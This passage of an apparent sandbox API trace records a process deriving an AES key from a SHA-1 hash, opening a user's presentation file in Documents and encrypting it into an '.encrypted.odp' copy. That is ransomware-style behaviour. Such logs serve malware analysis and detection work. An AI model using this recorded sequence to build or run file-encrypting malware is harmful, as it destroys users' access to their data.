lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.791] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.791] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.791] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.791] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.791] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.791] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.792] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.792] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b660, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.792] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.792] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.792] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.793] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.793] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.793] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0023.793] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.794] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.795] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.odp" (normalized: "c:\\users\\5jghkoaofdp\\documents\\13i0vlibno4qxctb5.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.795] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.795] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.795] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.795] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0023.795] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp" (normalized: "c:\\users\\5jghkoaofdp\\documents\\13i0vlibno4qxctb5.encrypted.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.796] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.797] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.797] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xcdd, lpOverlapped=0x0) returned 1 [0023.797] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.799] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.799] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.799] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.799] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.799] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.800] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.800] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.800] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.800] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.800] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.800] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064a40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064a40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.800] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.800] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.800] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.801] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xcdd, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xce0) returned 1 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.801] CharLowerBuffW (in: lpsz="byte[3297]", cchLength=0xa | out: lpsz="byte[3297]") returned 0xa [0023.801] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.802] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.802] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f40709b0*, pdwDataLen=0xe8f3dfdf68*=0xcdd, dwBufLen=0xce0 | out: pbData=0xe8f40709b0*, pdwDataLen=0xe8f3dfdf68*=0xce0) returned 1 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.802] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.802] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.803] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.803] PeekMessageW (in: 